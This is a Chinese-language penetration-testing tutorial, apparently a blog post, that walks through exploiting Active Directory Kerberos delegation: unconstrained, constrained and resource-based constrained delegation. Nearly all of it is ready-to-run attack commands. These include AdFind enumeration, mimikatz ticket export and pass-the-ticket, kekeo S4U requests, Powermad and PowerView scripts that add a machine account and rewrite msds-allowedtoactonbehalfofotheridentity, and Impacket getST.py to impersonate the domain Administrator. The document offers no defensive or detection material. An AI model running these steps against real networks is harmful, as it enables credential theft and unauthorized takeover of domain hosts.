前言
委派漏洞利用
准备工作
非约束委派
漏洞利用前提
域控指定有委派权限的计算机
- 域控的
服务管理器->Computers->受害者计算机委派被设置为信任此计算机来委派任何服务
域控指定有委派权限的用户
<username>:委派的用户
1
| setspn -U -A priv/test <username>
|
poc
"DC=example,DC=com":指定域名前缀和后缀
1
| .\AdFind.exe -b "DC=example,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
|
1
| dn:CN=<username>,CN=Users,DC=example,DC=com
|
1
| .\AdFind.exe -b "DC=example,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
|
1
| dn:CN=<computername>,CN=Computers,DC=example,DC=com
|
受害者向有委派权限的计算机发起smb请求
<ip>:有委派权限的计算机IP地址
通过mimikatz导出凭据
1
| mimikatz sekurlsa::tickets /export
|
通过mimikatz导入凭据
1
| mimikatz kerberos::ptt <file>.kirbi
|
与目标建立连接
约束委派
漏洞利用前提
域控指定有委派权限的计算机
- 域控的
服务管理器->Computers->受害者计算机委派被设置为仅信任此计算机来委派指定的服务->使用任何身份协议->添加->用户或计算机->添加当前计算机->添加服务选择cifs->确定
域控指定有委派权限的用户
- 域控的
服务管理器->Users->受害者用户委派被设置为仅信任此用户作为指定服务的委派->使用任何身份协议->添加->用户或计算机->添加当前用户->添加服务选择cifs->确定
poc
"DC=example,DC=com":指定域名前缀和后缀
1
| .\AdFind.exe -b "DC=example,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
|
1 2
| dn:CN=<username>,CN=Users,DC=example,DC=com >msDS-AllowedToDelegateTo: cifs/<hostname>
|
1
| .\AdFind.exe -b "DC=example,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
|
1 2
| dn:CN=<computername>,CN=Computers,DC=example,DC=com >msDS-AllowedToDelegateTo: cifs/<hostname>
|
通过kekeo获取用户凭据
1
| kekeo tgt::ask /domain:<domain> /user:<username> /password::<password> /ticket:administrator.kirbi
|
1
| kekeo tgt::ask /domain:<domain> /user:<username> /ntlm:<hash> /ticket:administrator.kirbi
|
通过kekeo获取的用户凭据获取域控凭据
/tgt:<file>.kirbi:指定上一步获取的用户凭据文件
/user:Administrator@<domain>:域控管理员用户名
/service:cifs/<hostname>:指定上一步获取的服务名,可以是查询到的任意一个服务
1
| kekeo tgs::s4u /tgt:<file>.kirbi /user:Administrator@<domain> /service:cifs/<hostname>
|
通过mimikatz导入凭据
1
| mimikatz kerberos::ptt <file>.kirbi
|
与目标建立连接
资源约束委派(PowerShell脚本)
漏洞利用前提
- 域控是Windows2012及以上版本
- 存在域内用户加入域操作
- 如果多个域内主机加入域操作时采用同一个域用户登录,且如果得到这个域用户的权限,那么就可以得到所有用这个域用户加入域的主机的权限
poc
- 检测所有域内主机是否是由同一个域用户进行加入域操作的
<ip>:域控主机IP地址
1
| .\AdFind.exe -h <ip> -b "DC=example,DC=com" -f "objectClass=computer" mS-DS-CreatorSID
|
<computername>:主机名
<SID>:域用户SID
1 2 3 4 5 6 7
| dn:CN=<computername>,OU=Domain Controllers,DC=example,DC=com
dn:CN=<computername>,CN=Computers,DC=example,DC=com >mS-DS-CreatorSID: S-1-5-21-<SID>
dn:CN=<computername>,CN=Computers,DC=example,DC=com >mS-DS-CreatorSID: S-1-5-21-<SID>
|
- 如果所有域内主机加入域时登录的域用户都是
S-1-5-21-<SID>,则可以进行漏洞利用得到所有加入域时使用这个域用户登录的主机的权限
- 获取这些主机的主机名
获取域用户SID对应的用户名
1
| .\sid2user.exe \\<ip> 5 21 0000000000 0000000000 0000000000 0000
|
添加域计算机账户
通过PowerShell脚本
以普通域用户权限添加域计算机账户
下载项目
1 2
| git clone https://github.com/Kevin-Robertson/Powermad.git cd Powermad
|
允许执行PowerShell脚本(可选)
1
| Set-ExecutionPolicy ByPass -Scope Process
|
引入依赖
1
| Import-Module .\Powermad.ps1
|
添加域计算机账户
<computername>:定义计算机账户名
<password>:定义计算机账户密码
1
| New-MachineAccount -MachineAccount <computername> -Password $(ConvertTo-String "<password>" -AsPlainText -Force)
|
获取新计算机账户的SID值
下载项目
1 2 3
| Invoke-WebRequest -Uri https://github.com/PowerShellMafia/PowerSploit/archive/refs/tags/v3.0.0.zip -OutFile v3.0.0.zip Expand-Archive -Path v3.0.0.zip -DestinationPath "PowerSploit-3.0.0" cd PowerSploit-3.0.0
|
允许执行PowerShell脚本(可选)
1
| Set-ExecutionPolicy ByPass -Scope Process
|
引入依赖
1
| Import-Module .\Recon\PowerView.ps1
|
获取新计算机账户的SID值
<computername>:上一步骤定义的计算机账户名
1
| Get-NetComputer <computername> -Properties objectsid
|
修改上一步骤添加的计算机账户属性
下载项目
1 2
| git clone https://github.com/Kevin-Robertson/Powermad.git cd Powermad
|
允许执行PowerShell脚本(可选)
1
| Set-ExecutionPolicy ByPass -Scope Process
|
引入依赖
1
| Import-Module .\Powermad.ps1
|
修改上一步骤添加的计算机账户属性
<sid>:上一步骤得到的新的计算机账户的SID,也就是需要修改属性的计算机账户
<computername_target>:被攻击的目标计算机账户名,也就是相同被相同账户添加到域的主机
1 2 3 4
| $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;<sid>)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer <computername_target> | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
|
验证是否修改成功(可选)
1
| Get-DomainComputer <computername_target> -Properties msds-allowedtoactonbehalfofotheridentity
|
清除修改的属性(可选)
- 用于修改有误时,先清除已经修改的属性,再重新修改属性
1
| Set-DomainObject <computername_target> -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
|
通过HPVCA/SharpAllowedToAct
以普通用户权限添加计算机账户
下载项目
1 2
| git clone https://github.com/HPVCA/SharpAllowedToAct.git cd SharpAllowedToAct
|
编译DotNet项目
以普通用户权限添加计算机账户
<conputername>:新创建的计算机账户名
<conputerpassword>:新创建的计算机账户密码
<conputername_current>:当前的计算机账户名
<ip_domain_controller>:域控IP地址
<domain_name>:域名
1
| .\SharpAllowedToAct.exe -m <conputername> -p <conputerpassword> -t <coputername_current> -a <ip_domain_controller> <domain_name>
|
通过Impacket生成凭据
-dc-ip <ip>:指定域控IP地址
1
| python3 examples/getST.py -impersonate Administrator -spn cifs/<computername_target>.<domain> -dc-ip <ip> <domain>/<computername>\$:<password>
|
- 生成凭据文件
Administrator.ccache
通过mimikatz导入凭据
1
| mimikatz kerberos::ptc Administrator.ccache
|
建立连接
1
| net use \\<computername_target>.<domain>\ipc$
|
完成